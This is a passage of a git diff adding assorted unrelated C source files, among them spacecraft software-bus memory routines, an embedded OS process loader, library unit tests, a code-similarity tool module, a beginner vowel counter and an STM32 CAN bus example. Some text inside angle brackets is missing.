CFE_SB.StatTlmMsg.PeakMemInUse){ + CFE_SB.StatTlmMsg.PeakMemInUse = CFE_SB.StatTlmMsg.MemInUse; + }/* end if */ + + return Dest; + +}/* end CFE_SB_GetDestinationBlk */ + + +/****************************************************************************** +** Function: CFE_SB_PutDestinationBlk() +** +** Purpose: +** This function returns a destination descriptor to the SB memory pool. +** +** Arguments: +** None +** +** Return: +** Pointer to the destination descriptor +*/ +int32 CFE_SB_PutDestinationBlk(CFE_SB_DestinationD_t *Dest) +{ + int32 Stat; + + if(Dest==NULL){ + return CFE_SB_BAD_ARGUMENT; + }/* end if */ + + /* give the destination block back to the SB memory pool */ + Stat = CFE_ES_PutPoolBuf(CFE_SB.Mem.PoolHdl, (uint32 *)Dest); + if(Stat > 0){ + /* Substract the size of the destination block from the Memory in use ctr */ + CFE_SB.StatTlmMsg.MemInUse-=Stat; + }/* end if */ + + return CFE_SUCCESS; + +}/* end CFE_SB_PutDestinationBlk */ + + +/*****************************************************************************/ diff --git a/pool/shard011/C/0142296_process_utils.c b/pool/shard011/C/0142296_process_utils.c new file mode 100644 index 0000000000000000000000000000000000000000..344c24c72233b384d02ba380b30837834ae30008 --- /dev/null +++ b/pool/shard011/C/0142296_process_utils.c @@ -0,0 +1,124 @@ +/* Copyright 2011; All Rights Reserved + * Please see http://www.coactionos.com/license.html for + * licensing information. + */ + +/*! \addtogroup SYSCALLS_PROCESS + * @{ + */ + +/*! \file */ + +#include "config.h" + +#include "sysfs.h" +#include "device.h" +#include "hwpl/task.h" + +#include +#include + +#include "syscalls_process.h" +#include "../../sched/sched_flags.h" +#include "../../sysfs/appfs.h" + +static int reent_is_free(struct _reent * reent); + +int process_start(const char *path, + char *const argv[], + char *const envp[] +){ +#if SINGLE_PROCESS == 0 + int fd; + int err; + int argc; + appfs_file_t startup; + task_memories_t mem; + + if ( access(path, X_OK) < 0 ){ + return -1; + } + + //Open the program + fd = open(path, O_RDONLY); + if ( fd < 0 ){ + //The open() call set the errno already + return -1; + } + + //Count the arguments + argc = 0; + if ( argv != NULL ){ + while( argv[argc] != NULL ){ + argc++; + } + } + + //Read the program header + err = read(fd, &startup, sizeof(appfs_file_t)); + if ( err != sizeof(appfs_file_t) ){ + //The read() function sets the errno already + close(fd); + return -1; + } + + //verify the signature + if( appfs_util_isexecutable(&startup) == false ){ + errno = ENOEXEC; + return -1; + } + + mem.code.addr = startup.exec.code_start; + mem.code.size = startup.exec.code_size; + mem.data.addr = startup.exec.ram_start; + mem.data.size = startup.exec.ram_size; + + //check to see if the process is already running + if( !reent_is_free(startup.exec.ram_start) ){ + errno = ENOTSUP; + close(fd); + return -1; + } + + //The program is loaded and ready to execute + close(fd); + + /* + hwpl_debug("new process: 0x%X 0x%X %d 0x%X 0x%X\n", + (unsigned int)startup.exec.startup, + (unsigned int)startup.exec.ram_start, + (int)mem.data.size, + (unsigned int)startup.exec.code_start, + (unsigned int)startup.exec.code_size); + */ + + + err = sched_new_process(startup.exec.startup, + argc, + argv, + &mem, + startup.exec.ram_start); + + //hwpl_debug("Err is %d\n", err); + + return err; +#else + errno = ENOTSUP; + return -1; +#endif +} + + + +#if SINGLE_PROCESS == 0 +int reent_is_free(struct _reent * reent){ + int i; + for(i=0; i < task_get_total(); i++){ + if ( (reent == task_table[i].reent) && task_enabled(i) ){ + return 0; + } + } + return 1; +} +#endif + diff --git a/pool/shard011/C/0142297_grs.xml.idzebra.c b/pool/shard011/C/0142297_grs.xml.idzebra.c new file mode 100644 index 0000000000000000000000000000000000000000..d8a8e3709930ac2b6ecdf958fc82b22bd2489d4e --- /dev/null +++ b/pool/shard011/C/0142297_grs.xml.idzebra.c @@ -0,0 +1,68 @@ +/* This file is part of the Zebra server. + Copyright (C) Index Data + +Zebra is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation; either version 2, or (at your option) any later +version. + +Zebra is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or +FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License +for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + +*/ + +#if HAVE_CONFIG_H +#include +#endif +#include +#include "../api/testlib.h" + +void tst(int argc, char **argv) +{ + ZebraService zs = tl_start_up(0, argc, argv); + ZebraHandle zh = zebra_open(zs, 0); + char path[256]; + + tl_check_filter(zs, "grs.xml"); + + YAZ_CHECK(zebra_select_database(zh, "Default") == ZEBRA_OK); + + zebra_set_resource(zh, "recordType", "grs.xml"); + + zebra_init(zh); + + YAZ_CHECK(zebra_begin_trans(zh, 1) == ZEBRA_OK); + sprintf(path, "%.200s/record-idzebra.xml", tl_get_srcdir()); + zebra_repository_update(zh, path); + YAZ_CHECK(zebra_end_trans(zh) == ZEBRA_OK); + zebra_commit(zh); + + YAZ_CHECK(tl_query(zh, "@attr 1=/ text", 1)); + YAZ_CHECK(tl_query(zh, "@attr 1=/ notexistent", 0)); + YAZ_CHECK(tl_query(zh, "@attr 1=/ 1198", 0)); + YAZ_CHECK(tl_query(zh, "@attr 1=/ 18", 0)); + YAZ_CHECK(tl_query(zh, "@attr 1=/elem/idzebra/size 1198", 0)); + YAZ_CHECK(tl_query(zh, "@attr 1=/elem/idzebra/localnumber 18", 0)); + YAZ_CHECK(tl_query(zh, "@attr 1=/elem/idzebra/filename biblio", 0)); + YAZ_CHECK(tl_query(zh, "@attr 1=/elem/idzebra/filename data", 0)); + + YAZ_CHECK(tl_close_down(zh, zs)); +} + +TL_MAIN + +/* + * Local variables: + * c-basic-offset: 4 + * c-file-style: "Stroustrup" + * indent-tabs-mode: nil + * End: + * vim: shiftwidth=4 tabstop=8 expandtab + */ + diff --git a/pool/shard011/C/0142298_t-mullow.c b/pool/shard011/C/0142298_t-mullow.c new file mode 100644 index 0000000000000000000000000000000000000000..d3da33d61d51bffad5cb7613b7c3163b6580d27c --- /dev/null +++ b/pool/shard011/C/0142298_t-mullow.c @@ -0,0 +1,74 @@ +/* + Copyright (C) 2011 Sebastian Pancratz + Copyright (C) 2009 William Hart + + This file is part of FLINT. + + FLINT is free software: you can redistribute it and/or modify it under + the terms of the GNU Lesser General Public License (LGPL) as published + by the Free Software Foundation; either version 2.1 of the License, or + (at your option) any later version. See . +*/ + +#include +#include +#include +#include "flint.h" +#include "fmpz.h" +#include "fmpz_mod_poly.h" +#include "ulong_extras.h" + +int +main(void) +{ + int i, result; + FLINT_TEST_INIT(state); + + flint_printf("mullow...."); + fflush(stdout); + + + + /* Compare with truncated product of a and b */ + for (i = 0; i < 200 * flint_test_multiplier(); i++) + { + fmpz_t p; + fmpz_mod_poly_t a, b, c; + slong trunc; + + fmpz_init(p); + fmpz_randtest_unsigned(p, state, 2 * FLINT_BITS); + fmpz_add_ui(p, p, 2); + + fmpz_mod_poly_init(a, p); + fmpz_mod_poly_init(b, p); + fmpz_mod_poly_init(c, p); + trunc = n_randint(state, 50); + fmpz_mod_poly_randtest(b, state, trunc); + fmpz_mod_poly_randtest(c, state, trunc); + + fmpz_mod_poly_mullow(a, b, c, trunc); + fmpz_mod_poly_mul(b, b, c); + fmpz_mod_poly_truncate(b, trunc); + + result = (fmpz_mod_poly_equal(a, b)); + if (!result) + { + flint_printf("FAIL:\n"); + fmpz_mod_poly_print(a), flint_printf("\n\n"); + fmpz_mod_poly_print(b), flint_printf("\n\n"); + abort(); + } + + fmpz_mod_poly_clear(a); + fmpz_mod_poly_clear(b); + fmpz_mod_poly_clear(c); + fmpz_clear(p); + } + + FLINT_TEST_CLEANUP(state); + + flint_printf("PASS\n"); + return 0; +} + diff --git a/pool/shard011/C/0142299_percentages.c b/pool/shard011/C/0142299_percentages.c new file mode 100644 index 0000000000000000000000000000000000000000..a4886ca2f2f6fd7e98d9910f0414091d9ac5322d --- /dev/null +++ b/pool/shard011/C/0142299_percentages.c @@ -0,0 +1,140 @@ +/* This file is part of the software similarity tester SIM. + Written by Dick Grune, Vrije Universiteit, Amsterdam. + $Id: percentages.c,v 1.14 2013-04-28 16:30:42 Gebruiker Exp $ +*/ + +#include + +#include "sim.h" +#include "text.h" +#include "runs.h" +#include "options.h" +#include "Malloc.h" +#include "error.h" +#include "percentages.h" + +/* To compute percentages fairly, the input files are read twice. This + makes it impossible to use the struct text-s from the presented run as + identifications of the files, since their order differs between the first + and the second scan. Specific entries from the struct text-s + are stored instead. +*/ + +struct match { + struct match *ma_next; + const char *ma_fname0; + const char *ma_fname1; + size_t ma_size; /* # tokens of file 0 found in file 1 */ + size_t ma_size0; /* # tokens in file 0 */ +}; + +static struct match *match_start; /* to be allocated by new() */ + +void +add_to_percentages(struct run *r) { + struct match **match_hook = &match_start; + + /* percentages are only meaningful between different files */ + if (r->rn_chunk0.ch_text == r->rn_chunk1.ch_text) return; + + /* look (text0, text1) combination up in match list */ + while (*match_hook) { + struct match *m = *match_hook; + + if ( m->ma_fname0 == r->rn_chunk0.ch_text->tx_fname + && m->ma_fname1 == r->rn_chunk1.ch_text->tx_fname + ) { + /* found it; now update it */ + m->ma_size += r->rn_size; + return; + } + match_hook = &m->ma_next; + } + + { /* it's not there; make a new entry */ + struct match *m = *match_hook = new(struct match); + struct text *text0 = r->rn_chunk0.ch_text; + struct text *text1 = r->rn_chunk1.ch_text; + + m->ma_next = 0; + m->ma_fname0 = text0->tx_fname; + m->ma_fname1 = text1->tx_fname; + m->ma_size = r->rn_size; + m->ma_size0 = text0->tx_limit - text0->tx_start; + } +} + +static float +match_percentage(struct match *m) { + return (((float)m->ma_size)/((float)m->ma_size0)); +} + +/* + We want the sorting order + all contributors of the file with the highest percentage + all contributors of the file with the next lower percentage + etc. + but this order cannot be specified by a single SORT_BEFORE(). + So we sort for percentage, and then reorder during printing. +*/ + +/* instantiate sort_match_list(struct match **listhook) */ +#define SORT_STRUCT match +#define SORT_NAME sort_match_list +#define SORT_BEFORE(p1,p2) (match_percentage(p1) > match_percentage(p2)) +#define SORT_NEXT ma_next +#include "sortlist.bdy" + +static void +print_perc_info(struct match *m) { + int mp = (int)(match_percentage(m)*100.0); + + if (mp > 100) { + /* this may result from overlapping matches */ + mp = 100; + } + if (mp >= Threshold_Percentage) { + fprintf(Output_File, + "%s consists for %d %% of %s material\n", + m->ma_fname0, mp, m->ma_fname1 + ); + } +} + +static void +print_and_remove_perc_info_for_top_file(struct match **m_hook) { + struct match *m = *m_hook; + const char *fname = m->ma_fname0; + + print_perc_info(m); + *m_hook = m->ma_next; + Free(m); + + while ((m = *m_hook)) { + if (m->ma_fname0 == fname) { + if (is_set_option('P')) { + print_perc_info(m); + } + /* remove the struct */ + *m_hook = m->ma_next; + Free(m); + } else { + /* skip the struct */ + m_hook = &m->ma_next; + continue; + } + } +} + +static void +print_percentages(void) { + while (match_start) { + print_and_remove_perc_info_for_top_file(&match_start); + } +} + +void +Show_Percentages(void) { + sort_match_list(&match_start); + print_percentages(); +} diff --git a/pool/shard011/C/0142300_contador_vocales.c b/pool/shard011/C/0142300_contador_vocales.c new file mode 100644 index 0000000000000000000000000000000000000000..736af07f33ad2f27041284b45a2384dd0d2c6313 --- /dev/null +++ b/pool/shard011/C/0142300_contador_vocales.c @@ -0,0 +1,20 @@ +#include +#include + +#define MAXLON 80 + +int main(void){ + char a[MAXLON+1]; + int i, contador; + + printf("Introduce una cadena (max %d cars): ", MAXLON); + gets(a); + contador = 0; + for (i=0; i + + +LISTARRAY listarray_new(size_t listsize, UINT maxitems) { + + LISTARRAY laRet = NULL; + UINT dwSize; + + listsize = (listsize + 3) & (~3); + dwSize = sizeof(_LISTARRAY); + dwSize += (UINT)(listsize * maxitems); + +#ifdef TRACE + { + char work[256]; + SPRINTF(work, "listarray %dx%d", listsize, maxitems); + laRet = (LISTARRAY)_MALLOC(dwSize, work); + } +#else + laRet = (LISTARRAY)_MALLOC(dwSize, "listarray"); +#endif + if (laRet) { + ZeroMemory(laRet, dwSize); + laRet->maxitems = maxitems; + laRet->listsize = listsize; + } + return(laRet); +} + +void listarray_clr(LISTARRAY laHandle) { + + while(laHandle) { + laHandle->items = 0; + laHandle = laHandle->laNext; + } +} + +void listarray_destroy(LISTARRAY laHandle) { + + LISTARRAY laNext; + + while(laHandle) { + laNext = laHandle->laNext; + _MFREE(laHandle); + laHandle = laNext; + } +} + +UINT listarray_getitems(LISTARRAY laHandle) { + + UINT dwRet; + + dwRet = 0; + while(laHandle) { + dwRet += laHandle->items; + laHandle = laHandle->laNext; + } + return(dwRet); +} + +void *listarray_append(LISTARRAY laHandle, const void *vpItem) { + + LISTARRAY laNext; + UINT8 *p; + + if (laHandle == NULL) { + goto laapp_err; + } + + while(laHandle->items >= laHandle->maxitems) { + laNext = laHandle->laNext; + if (laNext == NULL) { + laNext = listarray_new(laHandle->listsize, laHandle->maxitems); + if (laNext == NULL) { + goto laapp_err; + } + laHandle->laNext = laNext; + } + laHandle = laNext; + } + p = (UINT8 *)(laHandle + 1); + p += laHandle->items * laHandle->listsize; + if (vpItem) { + CopyMemory(p, vpItem, laHandle->listsize); + } + else { + ZeroMemory(p, laHandle->listsize); + } + laHandle->items++; + return(p); + +laapp_err: + return(NULL); +} + +void *listarray_getitem(LISTARRAY laHandle, UINT num) { + + while(laHandle) { + if (num < laHandle->items) { + return((UINT8 *)(laHandle + 1) + (laHandle->listsize * num)); + } + num -= laHandle->items; + laHandle = laHandle->laNext; + } + return(NULL); +} + +UINT listarray_getpos(LISTARRAY laHandle, void *vpItem) { + + UINT pos; + UINT i; + + pos = 0; + while(laHandle) { + UINT8 *p = (UINT8 *)(laHandle + 1); + for (i=0; iitems; i++) { + if (p == vpItem) { + return(pos + i); + } + p += laHandle->listsize; + } + pos += laHandle->items; + laHandle = laHandle->laNext; + } + return((UINT)-1); +} + +void *listarray_enum(LISTARRAY laHandle, + BOOL (*cbProc)(void *vpItem, void *vpArg), void *vpArg) { + + UINT i; + + if (cbProc == NULL) { + goto laenum_end; + } + + while(laHandle) { + UINT8 *p = (UINT8 *)(laHandle + 1); + for (i=0; iitems; i++) { + if (cbProc((void *)p, vpArg)) { + return((void *)p); + } + p += laHandle->listsize; + } + laHandle = laHandle->laNext; + } + +laenum_end: + return(NULL); +} + diff --git a/pool/shard011/C/0142302_tests.c b/pool/shard011/C/0142302_tests.c new file mode 100644 index 0000000000000000000000000000000000000000..55fd2f30d3b4e3bc91d69b476671dff4d46176a9 --- /dev/null +++ b/pool/shard011/C/0142302_tests.c @@ -0,0 +1,182 @@ +/* +Copyright (c) 2014. The YARA Authors. All Rights Reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this +list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, +this list of conditions and the following disclaimer in the documentation and/or +other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its contributors +may be used to endorse or promote products derived from this software without +specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ + +#include + +#define MODULE_NAME tests + + +define_function(fsum_2) +{ + double a = float_argument(1); + double b = float_argument(2); + + return_float(a + b); +} + +define_function(fsum_3) +{ + double a = float_argument(1); + double b = float_argument(2); + double c = float_argument(3); + + return_float(a + b + c); +} + +define_function(isum_2) +{ + int64_t a = integer_argument(1); + int64_t b = integer_argument(2); + + return_integer(a + b); +} + + +define_function(isum_3) +{ + int64_t a = integer_argument(1); + int64_t b = integer_argument(2); + int64_t c = integer_argument(3); + + return_integer(a + b + c); +} + + +define_function(length) +{ + char* s = string_argument(1); + + return_integer(strlen(s)); +} + + +define_function(empty) +{ + return_string(""); +} + + +define_function(match) +{ + return_integer(yr_re_match(regexp_argument(1), string_argument(2))); +} + + +begin_declarations; + + begin_struct("constants"); + declare_integer("one"); + declare_integer("two"); + declare_string("foo"); + declare_string("empty"); + end_struct("constants"); + + begin_struct("undefined"); + declare_integer("i"); + declare_float("f"); + end_struct("undefined"); + + declare_integer_array("integer_array"); + declare_string_array("string_array"); + + declare_integer_dictionary("integer_dict"); + declare_string_dictionary("string_dict"); + + begin_struct_array("struct_array"); + declare_integer("i"); + declare_string("s"); + end_struct_array("struct_array"); + + begin_struct_dictionary("struct_dict"); + declare_integer("i"); + declare_string("s"); + end_struct_dictionary("struct_dict"); + + declare_function("match", "rs", "i", match); + declare_function("isum", "ii", "i", isum_2); + declare_function("isum", "iii", "i", isum_3); + declare_function("fsum", "ff", "f", fsum_2); + declare_function("fsum", "fff", "f", fsum_3); + declare_function("length", "s", "i", length); + declare_function("empty", "", "s", empty); + +end_declarations; + + +int module_initialize( + YR_MODULE* module) +{ + return ERROR_SUCCESS; +} + + +int module_finalize( + YR_MODULE* module) +{ + return ERROR_SUCCESS; +} + +int module_load( + YR_SCAN_CONTEXT* context, + YR_OBJECT* module_object, + void* module_data, + size_t module_data_size) +{ + set_integer(1, module_object, "constants.one"); + set_integer(2, module_object, "constants.two"); + set_string("foo", module_object, "constants.foo"); + set_string("", module_object, "constants.empty"); + + set_integer(1, module_object, "struct_array[1].i"); + + set_integer(0, module_object, "integer_array[%i]", 0); + set_integer(1, module_object, "integer_array[%i]", 1); + set_integer(2, module_object, "integer_array[%i]", 2); + + set_string("foo", module_object, "string_array[%i]", 0); + set_string("bar", module_object, "string_array[%i]", 1); + set_string("baz", module_object, "string_array[%i]", 2); + + set_sized_string("foo\0bar", 7, module_object, "string_array[%i]", 3); + + set_string("foo", module_object, "string_dict[%s]", "foo"); + set_string("bar", module_object, "string_dict[\"bar\"]"); + + set_string("foo", module_object, "struct_dict[%s].s", "foo"); + set_integer(1, module_object, "struct_dict[%s].i", "foo"); + + return ERROR_SUCCESS; +} + + +int module_unload( + YR_OBJECT* module_object) +{ + return ERROR_SUCCESS; +} diff --git a/pool/shard011/C/0142303_bastile-preferences.c b/pool/shard011/C/0142303_bastile-preferences.c new file mode 100644 index 0000000000000000000000000000000000000000..2f58f5cd223f89a028dcbca46da5bcf28400d4cf --- /dev/null +++ b/pool/shard011/C/0142303_bastile-preferences.c @@ -0,0 +1,46 @@ +/* + * Bastile + * + * Copyright (C) 2003 Jacob Perkins + * Copyright (C) 2005 Jacob Perkins + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * See the GNU General Public License for more details. + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the + * Free Software Foundation, Inc., + * 59 Temple Place, Suite 330, + * Boston, MA 02111-1307, USA. + */ + +#include "bastile-prefs.h" +#include "bastile-mateconf.h" +#include "bastile-preferences.h" +#include "bastile-widget.h" +#include "bastile-check-button-control.h" + +/** + * bastile_preferences_show: + * @tabid: The id of the tab to show + * + * Creates a new or shows the current preferences dialog. + **/ +void +bastile_preferences_show (GtkWindow *parent, const gchar *tabid) +{ + BastileWidget *swidget = bastile_prefs_new (parent); + GtkWidget *tab; + + if (tabid) { + tab = bastile_widget_get_widget (swidget, tabid); + g_return_if_fail (tab); + bastile_prefs_select_tab (swidget, tab); + } +} diff --git a/pool/shard011/C/0142304_main.c b/pool/shard011/C/0142304_main.c new file mode 100644 index 0000000000000000000000000000000000000000..a212e7d7e3d5714ef4e026d5e84a821a2dc44e1a --- /dev/null +++ b/pool/shard011/C/0142304_main.c @@ -0,0 +1,318 @@ +/** + ****************************************************************************** + * @file CAN/Normal/main.c + * @author MCD Application Team + * @version V3.1.2 + * @date 09/28/2009 + * @brief Main program body + ****************************************************************************** + * @copy + * + * THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS + * WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE + * TIME. AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY + * DIRECT, INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING + * FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE + * CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS. + * + *

© COPYRIGHT 2009 STMicroelectronics

+ */ + +/* Includes ------------------------------------------------------------------*/ +#include "stm32f10x.h" +#include "platform_config.h" + +/** @addtogroup STM32F10x_StdPeriph_Examples + * @{ + */ + +/** @addtogroup CAN_Normal + * @{ + */ + +/* Private typedef -----------------------------------------------------------*/ +/* Private define ------------------------------------------------------------*/ +/* Private define ------------------------------------------------------------*/ +#define Key_Pressed 0x01 +#define Key_NoPressed 0x00 + +/* Private macro -------------------------------------------------------------*/ +/* Private variables ---------------------------------------------------------*/ +CAN_InitTypeDef CAN_InitStructure; +CAN_FilterInitTypeDef CAN_FilterInitStructure; +RCC_ClocksTypeDef RCC_Clocks; +CanTxMsg TxMessage; +uint8_t Key_Pressed_Number = 0x0; + +/* Private function prototypes -----------------------------------------------*/ +void RCC_Configuration(void); +void GPIO_Configuration(void); +void NVIC_Configuration(void); +void CAN_Config(void); +void LED_Display(uint8_t Ledstatus); +void Init_RxMes(CanRxMsg *RxMessage); +void Delay(void); + +/* Private functions ---------------------------------------------------------*/ + +/** + * @brief Main program. + * @param None + * @retval None + */ +int main(void) +{ + /* Setup STM32 system (clock, PLL and Flash configuration) */ + SystemInit(); + + /* System clocks configuration ---------------------------------------------*/ + RCC_Configuration(); + + /* GPIO configuration ------------------------------------------------------*/ + GPIO_Configuration(); + + /* NVIC configuration ------------------------------------------------------*/ + NVIC_Configuration(); + + /* Configures LED 1..4 */ + STM_EVAL_LEDInit(LED1); + STM_EVAL_LEDInit(LED2); + STM_EVAL_LEDInit(LED3); + STM_EVAL_LEDInit(LED4); + + RCC_GetClocksFreq(&RCC_Clocks); + + /* Configure Push buttion key */ + STM_EVAL_PBInit(Button_KEY, Mode_GPIO); + + /* CAN configuration */ + CAN_Config(); + + CAN_ITConfig(CAN1, CAN_IT_FMP0, ENABLE); + + /* turn off all leds*/ + STM_EVAL_LEDOff(LED1); + STM_EVAL_LEDOff(LED2); + STM_EVAL_LEDOff(LED3); + STM_EVAL_LEDOff(LED4); + + /* Infinite loop */ + while(1) + { + while(STM_EVAL_PBGetState(Button_KEY)== Key_Pressed) + { + if(Key_Pressed_Number==0x4) + { + Key_Pressed_Number = 0x00; + } + else + { + LED_Display(++Key_Pressed_Number); + TxMessage.Data[0] = Key_Pressed_Number; + CAN_Transmit(CAN1, &TxMessage); + Delay(); + + while(STM_EVAL_PBGetState(Button_KEY) != Key_NoPressed) + { + } + } + } + } +} +/** + * @brief Configures the different system clocks. + * @param None + * @retval None + */ +void RCC_Configuration(void) +{ + /* GPIO clock enable */ + RCC_APB2PeriphClockCmd(RCC_APB2Periph_AFIO |RCC_APB2Periph_GPIO_CAN, ENABLE); + + /* CAN1 Periph clock enable */ + RCC_APB1PeriphClockCmd(RCC_APB1Periph_CAN1, ENABLE); + +} + +/** + * @brief Configures the GPIO. + * @param None + * @retval None + */ +void GPIO_Configuration(void) +{ + GPIO_InitTypeDef GPIO_InitStructure; + + /* Configure CAN pin: RX */ + GPIO_InitStructure.GPIO_Pin = GPIO_Pin_CAN_RX; + GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IPU; + GPIO_Init(GPIO_CAN, &GPIO_InitStructure); + + /* Configure CAN pin: TX */ + GPIO_InitStructure.GPIO_Pin = GPIO_Pin_CAN_TX; + GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP; + GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; + GPIO_Init(GPIO_CAN, &GPIO_InitStructure); + + GPIO_PinRemapConfig(GPIO_Remap_CAN , ENABLE); +} + +/** + * @brief Configures the NVIC for CAN. + * @param None + * @retval None + */ +void NVIC_Configuration(void) +{ + NVIC_InitTypeDef NVIC_InitStructure; + + NVIC_PriorityGroupConfig(NVIC_PriorityGroup_0); + +#ifndef STM32F10X_CL + NVIC_InitStructure.NVIC_IRQChannel = USB_LP_CAN1_RX0_IRQn; +#else + NVIC_InitStructure.NVIC_IRQChannel = CAN1_RX0_IRQn; +#endif /* STM32F10X_CL*/ + NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0x0; + NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0x0; + NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE; + NVIC_Init(&NVIC_InitStructure); +} + + +/** + * @brief Turn ON/OFF the dedicate led + * @param Ledstatus: Led number from 0 to 3 + * @retval None + */ +void LED_Display(uint8_t Ledstatus) +{ + /* turn off all leds*/ + STM_EVAL_LEDOff(LED1); + STM_EVAL_LEDOff(LED2); + STM_EVAL_LEDOff(LED3); + STM_EVAL_LEDOff(LED4); + + switch(Ledstatus) + { + case(1): STM_EVAL_LEDOn(LED1); + break; + + case(2): STM_EVAL_LEDOn(LED2); + break; + + case(3): STM_EVAL_LEDOn(LED3); + break; + + case(4): STM_EVAL_LEDOn(LED4); + break; + default: + break; + } +} + +/** + * @brief Configures the CAN. + * @param None + * @retval None + */ +void CAN_Config(void) +{ + /* CAN register init */ + CAN_DeInit(CAN1); + CAN_StructInit(&CAN_InitStructure); + + /* CAN cell init */ + CAN_InitStructure.CAN_TTCM = DISABLE; + CAN_InitStructure.CAN_ABOM = DISABLE; + CAN_InitStructure.CAN_AWUM = DISABLE; + CAN_InitStructure.CAN_NART = DISABLE; + CAN_InitStructure.CAN_RFLM = DISABLE; + CAN_InitStructure.CAN_TXFP = DISABLE; + CAN_InitStructure.CAN_Mode = CAN_Mode_Normal; + CAN_InitStructure.CAN_SJW = CAN_SJW_1tq; + CAN_InitStructure.CAN_BS1 = CAN_BS1_3tq; + CAN_InitStructure.CAN_BS2 = CAN_BS2_5tq; + CAN_InitStructure.CAN_Prescaler = 4;//2 + CAN_Init(CAN1, &CAN_InitStructure); + + /* CAN filter init */ + CAN_FilterInitStructure.CAN_FilterNumber=0; + CAN_FilterInitStructure.CAN_FilterMode=CAN_FilterMode_IdMask; + CAN_FilterInitStructure.CAN_FilterScale=CAN_FilterScale_32bit; + CAN_FilterInitStructure.CAN_FilterIdHigh=0x0000; + CAN_FilterInitStructure.CAN_FilterIdLow=0x0000; + CAN_FilterInitStructure.CAN_FilterMaskIdHigh=0x0000; + CAN_FilterInitStructure.CAN_FilterMaskIdLow=0x0000; + CAN_FilterInitStructure.CAN_FilterFIFOAssignment=0; + CAN_FilterInitStructure.CAN_FilterActivation=ENABLE; + CAN_FilterInit(&CAN_FilterInitStructure); + + /* transmit */ + TxMessage.StdId = 0x321; + TxMessage.ExtId = 0x01; + TxMessage.RTR = CAN_RTR_DATA; + TxMessage.IDE = CAN_ID_STD; + TxMessage.DLC = 1; + +} + +/** + * @brief Delay + * @param None + * @retval None + */ +void Delay() +{ + uint16_t nTime = 0x0000; + for(nTime =0; nTime <0xFFFF; nTime++); +} + +/** + * @brief Initializes a Rx Message. + * @param CanRxMsg *RxMessage + * @retval None + */ +void Init_RxMes(CanRxMsg *RxMessage) +{ + uint8_t i = 0; + + RxMessage->StdId = 0x00; + RxMessage->ExtId = 0x00; + RxMessage->IDE = CAN_ID_STD; + RxMessage->DLC = 0; + RxMessage->FMI = 0; + for (i = 0;i < 8;i++) + RxMessage->Data[i] = 0x00; +} + +#ifdef USE_FULL_ASSERT + +/** + * @brief Reports the name of the source file and the source line number + * where the assert_param error has occurred. + * @param file: pointer to the source file name + * @param line: assert_param error line source number + * @retval None + */ +void assert_failed(uint8_t* file, uint32_t line) +{ + /* User can add his own implementation to report the file name and line number, + ex: printf("Wrong parameters value: file %s on line %d\r\n", file, line) */ + + /* Infinite loop */ + while (1) + { + } +} +#endif + +/** + * @} + */ + +/** + * @} + */ + +/******************* (C) COPYRIGHT 2009 STMicroelectronics *****END OF FILE****/ diff --git a/pool/shard011/C/0142305_ioapic.c b/pool/shard011/C/0142305_ioapic.c new file mode 100644 index 0000000000000000000000000000000000000000..d2b19a864e23ae3e1670977fe0bf6a1d43ad1606 --- /dev/null +++ b/pool/shard011/C/0142305_ioapic.c @@ -0,0 +1,144 @@ +/** +* \file ioapic.c +* Handle the I/O APIC controller. +* +* IOAPIC is used to handle interrupts in a multiprocessor system, but can also +* be used to handle interrupts in a uniprocessor system. There is typically one +* of these on a system, unless the computer has multiple I/O subsystems. +* +* The unit consist of: +* 1. A set of interrupt signals +* 2. 24 entries of 64 bits (Interrupt Redirection Table (IRT)) +* 3. Programmable registers +* 4. Messaging unit. +* +* The IRT is used to format an interrupt message. The IRT can be used to 